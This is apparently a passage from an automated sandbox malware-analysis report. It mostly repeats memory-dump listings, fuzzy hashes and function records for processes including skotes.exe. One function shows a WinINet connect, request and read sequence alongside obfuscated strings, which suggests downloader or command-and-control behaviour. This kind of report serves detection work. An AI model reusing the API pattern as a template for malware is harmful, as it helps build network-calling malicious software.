Associated: 00000002.00000002.2032011882.0000000001052000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032036190.0000000001057000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032060946.0000000001064000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032085062.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032111890.0000000001067000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032141526.000000000106A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032167317.000000000106B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032190885.000000000106C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032223135.0000000001080000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032253534.0000000001084000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032280109.0000000001085000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032304055.0000000001089000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032331518.000000000108A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032357597.000000000108F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032385747.0000000001090000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032410966.0000000001095000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032436134.000000000109D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032464018.000000000109F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032494565.00000000010A0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032522062.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032546939.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032575015.00000000010AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032604119.00000000010B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032631614.00000000010B6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032657346.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032686237.00000000010C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032720915.00000000010CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032766436.00000000010D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032812418.0000000001119000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032812418.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032869131.0000000001130000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032893097.0000000001132000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e80000_910S1Q63XQ87I6P4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2c113cf0640fcf62bb000b7444814442bc5712b41bb1069cfdac0fdbff30120
Instruction ID: 9a0ba57d51bc704c3a86c1cc741e0be9398157318b305e6439ce4e90bbbc8c0b
Opcode Fuzzy Hash: d2c113cf0640fcf62bb000b7444814442bc5712b41bb1069cfdac0fdbff30120
Instruction Fuzzy Hash: CD0124B560024A9BEB00CF44C208A9BBBB4FF89720F1992A8D8015BB51D7B45CD0DB49

Function 0101C32B Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2031832339.000000000101B000.00000040.00000001.01000000.00000006.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000002.00000002.2031369317.0000000000E80000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031394555.0000000000E82000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031421737.0000000000E86000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031447702.0000000000E8A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031474106.0000000000E96000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031578330.0000000000FEB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031607255.0000000000FED000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031636005.0000000001004000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031636005.0000000001010000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031758630.0000000001014000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031784305.0000000001019000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031808652.000000000101A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031857770.0000000001025000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031882949.0000000001029000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031913155.0000000001044000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031937968.0000000001045000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031962587.000000000104B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2031988156.0000000001050000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032011882.0000000001052000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032036190.0000000001057000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032060946.0000000001064000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032085062.0000000001066000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032111890.0000000001067000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032141526.000000000106A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032167317.000000000106B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032190885.000000000106C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032223135.0000000001080000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032253534.0000000001084000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032280109.0000000001085000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032304055.0000000001089000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032331518.000000000108A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032357597.000000000108F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032385747.0000000001090000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032410966.0000000001095000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032436134.000000000109D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032464018.000000000109F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032494565.00000000010A0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032522062.00000000010A3000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032546939.00000000010AA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032575015.00000000010AC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032604119.00000000010B4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032631614.00000000010B6000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032657346.00000000010BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032686237.00000000010C2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032720915.00000000010CF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032766436.00000000010D0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032812418.0000000001119000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032812418.0000000001120000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032869131.0000000001130000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2032893097.0000000001132000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_e80000_910S1Q63XQ87I6P4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0eeec61248ba6882a18ddc5a36952842faaac552f6790cbc333a04c4857e57e
Instruction ID: ef02c5ec134bd62484d48abfdad4310477a65e16b18ce5589092dcbb20b7dc1e
Opcode Fuzzy Hash: c0eeec61248ba6882a18ddc5a36952842faaac552f6790cbc333a04c4857e57e
Instruction Fuzzy Hash: 41D012B39CC69AE6E69A12905E1177876147715E10F158058958A2E889419D97415901

Analysis Process: SP29EZJLUAF4OXVNPKLP.exePID: 8028, Parent PID: 7528COMMON

Executed Functions

Function 051B0D08 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1956321874.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51b0000_SP29EZJLUAF4OXVNPKLP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1361443c16f202919f377c7c23b54fec41949edbe7e62eb9c2899d72423c5a68
Instruction ID: 5387957573ffe5a595c38399b7ebc21221c271ee0e79c8fe8f367a04a836f6d1
Opcode Fuzzy Hash: 1361443c16f202919f377c7c23b54fec41949edbe7e62eb9c2899d72423c5a68
Instruction Fuzzy Hash: 09F046BA10C240AFE306C9A5C9044F63B67AA6B13132A04AAE04ACF292D3956800C331

Function 051B0D20 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1956321874.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51b0000_SP29EZJLUAF4OXVNPKLP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a80fe38152a7426277e862aaf0ed954b2bd7fe2563ffd69f1914f65a0b2151ca
Instruction ID: f503b6fc2b31dd0c4a81f3a4a5115951c6075a9023fa6af510498ff8b4576baf
Opcode Fuzzy Hash: a80fe38152a7426277e862aaf0ed954b2bd7fe2563ffd69f1914f65a0b2151ca
Instruction Fuzzy Hash: DDE02BBF108110FF6116D989D6041F737AFAEAF2713724462F44BCB291E7D66C009230

Function 051B0D45 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1956321874.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51b0000_SP29EZJLUAF4OXVNPKLP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91a0aa67f5ccc477aae19f4133e3558b201fa538bba44d74119bb37244eda606
Instruction ID: 8583f91edb773202f911cbca9ea40fdb8b15f8b0dd1d801a5ef9dbfcf9a5726a
Opcode Fuzzy Hash: 91a0aa67f5ccc477aae19f4133e3558b201fa538bba44d74119bb37244eda606
Instruction Fuzzy Hash: 5BD0A57D008111DF7115D991D01C1F737E7573D1513A14467F047CF1D1C7E5A440D522

Function 051B0D54 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1956321874.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51b0000_SP29EZJLUAF4OXVNPKLP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 037b35f74840aba5b9fe7da37d98b24a3f4b537f15de82fe9900af8729a87c98
Instruction ID: de371cd5cb8f7725b397d6f3095181ec054635d09db455a535690fb00f466e93
Opcode Fuzzy Hash: 037b35f74840aba5b9fe7da37d98b24a3f4b537f15de82fe9900af8729a87c98
Instruction Fuzzy Hash: B1D0A76E008121F9A15EDF62D1080B77BA36A3D1513654E23F0C7C75C1DBAA6550D631

Function 051B0D7A Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1956321874.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51b0000_SP29EZJLUAF4OXVNPKLP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9ba6fb62b503c6ffac0cce0ef1cb7f86d7fa608c1a8c8d056f3319f4d3a2b7b
Instruction ID: 11d6ae9d6bf07e680f9a5d3c71245c6b4c2095b4d977d1958bbce16afab883ac
Opcode Fuzzy Hash: b9ba6fb62b503c6ffac0cce0ef1cb7f86d7fa608c1a8c8d056f3319f4d3a2b7b
Instruction Fuzzy Hash: 4BC0809D004430D69011D4669D126F35797573A551661553351C6C72C7D5DE61809021

Non-executed Functions

Function 051B0B3F Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1956321874.00000000051B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 051B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_51b0000_SP29EZJLUAF4OXVNPKLP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e8c3423815272307857311aa74eafcd4f7c0236c2e32e8f6f0a67787ab3755f6
Instruction ID: 8132acf11c5b229512b8a5b6411ac3949ed9064b0acf96fe1f194e1c520910f7
Opcode Fuzzy Hash: e8c3423815272307857311aa74eafcd4f7c0236c2e32e8f6f0a67787ab3755f6
Instruction Fuzzy Hash: CAE026BA24C5907FA20681545B58ABABB39F64B23033000EAE041CA013CB83058A8171

Analysis Process: skotes.exePID: 3052, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	8.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.5%
Total number of Nodes:	1839
Total number of Limit Nodes:	13

Executed Functions

Function 00A9BE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 00A9BEB8
InternetOpenW.WININET(00AE8DC8,00000000,00000000,00000000,00000000), ref: 00A9BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00A9BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 00A9BF36
HttpSendRequestA.WININET(?,00000000), ref: 00A9BFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 00A9C0A7
InternetCloseHandle.WININET(?), ref: 00A9C187
InternetCloseHandle.WININET(?), ref: 00A9C18F
InternetCloseHandle.WININET(?), ref: 00A9C197

Strings

8HJUeMD Lq5=, xrefs: 00A9C465
8HJUeIfzLo==, xrefs: 00A9C3CB, 00A9C623
stoi argument out of range, xrefs: 00A9E4EA
RE1NXF==, xrefs: 00A9BF0E
invalid stoi argument, xrefs: 00A9E4F4
RmNn, xrefs: 00A9D606

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: 764d61c1110bc366d885befce606f45773b2b4cecd05e08b367befa434e47748
Instruction ID: 80b9e61fb31718be394d1247fc3fe918dadd446dfa63f9f2f85a56019a035be9
Opcode Fuzzy Hash: 764d61c1110bc366d885befce606f45773b2b4cecd05e08b367befa434e47748
Instruction Fuzzy Hash: C4B115B1A101189BDF28CF28CC85BEEBBB5EF41314F5041A9F509972C1DB719AC0CB94

Function 00A9E530 Relevance: 14.7, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

246122658369, xrefs: 00A9F737, 00A9FA14, 00AA05E7, 00AA099A
GnNoc2Hc, xrefs: 00A9E56C
MGE+, xrefs: 00A9E821
#, xrefs: 00AA0624
WDw=, xrefs: 00A9F71D, 00A9F9FA
111, xrefs: 00A9F7A0
UA==, xrefs: 00A9EB0F, 00A9ED56
MQ==, xrefs: 00A9E592
9c9aa5, xrefs: 00A9FB8E
WTw=, xrefs: 00AA097D
WTs=, xrefs: 00AA05CA

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: b3ade0bcad52cc27c9d6d399c274f494bd514b350f5c5e5e829cdc7d4b26a04b
Instruction ID: 2fa4efae5f2728125682a026056bfb2fb7d115b38147b435cbf5d8fefd7e5f66
Opcode Fuzzy Hash: b3ade0bcad52cc27c9d6d399c274f494bd514b350f5c5e5e829cdc7d4b26a04b
Instruction Fuzzy Hash: 0482E670A04288EFEF15DF68CA497DE7FB5AB06304F508598E805673C2D7759A88CBD2

Function 00AAD3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00A924BE

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: 27084927c8ac84ec82b220c84a5ee165901ce22553eb1248863862cc9af706e7
Instruction ID: a50e3efd9344a29252a1e24ca539d303b77cafd997e888e52acdf38698d138d8
Opcode Fuzzy Hash: 27084927c8ac84ec82b220c84a5ee165901ce22553eb1248863862cc9af706e7
Instruction Fuzzy Hash: F951D0B2D006069FDB25CFA8D9857AEBBF1FB48314F24856AD446EB690D730AD41CB90

Function 00AA3640 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00AA434F

Part of subcall function 00AA7A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00AA7AEC
Part of subcall function 00AA7A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00AA7AF8
Part of subcall function 00AA7A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00AA7B01

Strings

3I3eB==, xrefs: 00AA4802
2I0, xrefs: 00AA5627
anE0, xrefs: 00AA566B
5120, xrefs: 00AA3BAF, 00AA3C9A
Fw==, xrefs: 00AA378E, 00AA4E1D
VXA0, xrefs: 00AA55AE
V2Te, xrefs: 00AA3EB0
MGI+, xrefs: 00AA48AD, 00AA49DC, 00AA4BCC, 00AA4CFB
WGS0, xrefs: 00AA5533
aWW0, xrefs: 00AA555C
9HQ0, xrefs: 00AA54E1
VXQ0, xrefs: 00AA550A
MGE+, xrefs: 00AA4866, 00AA48DD, 00AA4B85, 00AA4BFC
GE0, xrefs: 00AA5585
Vmc0, xrefs: 00AA55D7
invalid stoi argument, xrefs: 00AA2ED9, 00AA2EE8, 00AA434A, 00AA4F8D
8WI0, xrefs: 00AA5692
246122658369, xrefs: 00AA1F95, 00AA28DE, 00AA2B33, 00AA2BA0, 00AA2F78, 00AA3463, 00AA34C4, 00AA502A, 00AA503D, 00AA507F, 00AA5089, 00AA5684
WX f, xrefs: 00AA3BDE
9c9aa5, xrefs: 00AA5619
9250, xrefs: 00AA54AD
jS=, xrefs: 00AA6513
WGpm, xrefs: 00AA3CC9
93E0, xrefs: 00AA5600
", xrefs: 00AA3F89
stoi argument out of range, xrefs: 00AA2EF2, 00AA4359, 00AA4F9C
Hykl, xrefs: 00AA387F
KCWUOl==, xrefs: 00AA5649

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000C76000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D57000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D82000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D8B000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000D99000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983264166.0000000000D9A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2983936219.0000000000F30000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2984084356.0000000000F32000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_a90000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$"$246122658369$5120$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$Hykl$KCWUOl==$MGE+$MGI+$V2Te$VXA0$VXQ0$Vmc0$WGS0$WGpm$WX f$aWW0$anE0$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-385961153
Opcode ID: 089a7f2d8406529f2e663e1c1f72fba09659af1a9e89972c0770f33247077756
Instruction ID: 945ddb4ad52cf2b452078bade38650b235d77da7768578fb2570b843a97371b3
Opcode Fuzzy Hash: 089a7f2d8406529f2e663e1c1f72fba09659af1a9e89972c0770f33247077756
Instruction Fuzzy Hash: 1552F571A00248ABDF18EF78CD467DEBBB5AF46300F54458CF445A72C2DB759B848BA2

Function 00AA47B0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2516COMMON

Download Yara Rule

APIs

Part of subcall function 00AA7A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00AA7AEC
Part of subcall function 00AA7A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00AA7AF8
Part of subcall function 00AA7A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00AA7B01

Part of subcall function 00A9BE30: Sleep.KERNEL32(000005DC), ref: 00A9BEB8
Part of subcall function 00A9BE30: InternetOpenW.WININET(00AE8DC8,00000000,00000000,00000000,00000000), ref: 00A9BEC8
Part of subcall function 00A9BE30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00A9BEEC
Part of subcall function 00A9BE30: HttpOpenRequestA.WININET(?,00000000), ref: 00A9BF36

std::_Xinvalid_argument.LIBCPMT ref: 00AA4F92

Strings

8WI0, xrefs: 00AA5692
3I3eB==, xrefs: 00AA4802
2I0, xrefs: 00AA5627
246122658369, xrefs: 00AA502A, 00AA503D, 00AA507F, 00AA5089, 00AA5684
anE0, xrefs: 00AA566B
Fw==, xrefs: 00AA378E, 00AA4E1D
VXA0, xrefs: 00AA55AE
9c9aa5, xrefs: 00AA5619
MGI+, xrefs: 00AA48AD, 00AA49DC, 00AA4BCC, 00AA4CFB
WGS0, xrefs: 00AA5533
aWW0, xrefs: 00AA555C
9250, xrefs: 00AA54AD
9HQ0, xrefs: 00AA54E1
jS=, xrefs: 00AA6513, 00AA67E2
VXQ0, xrefs: 00AA550A
93E0, xrefs: 00AA5600
MGE+, xrefs: 00AA4866, 00AA48DD, 00AA4B85, 00AA4BFC
stoi argument out of range, xrefs: 00AA4359, 00AA4F9C
GE0, xrefs: 00AA5585
Vmc0, xrefs: 00AA55D7
KCWUOl==, xrefs: 00AA5649

Memory Dump Source

Source File: 00000008.00000002.2981084720.0000000000A91000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00A90000, based on PE: true

Associated: 00000008.00000002.2980899731.0000000000A90000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981084720.0000000000AF2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981462242.0000000000AF9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2981603839.0000000000AFB000.00000040.00000001.01000000.0000000C.sdmpDownload File
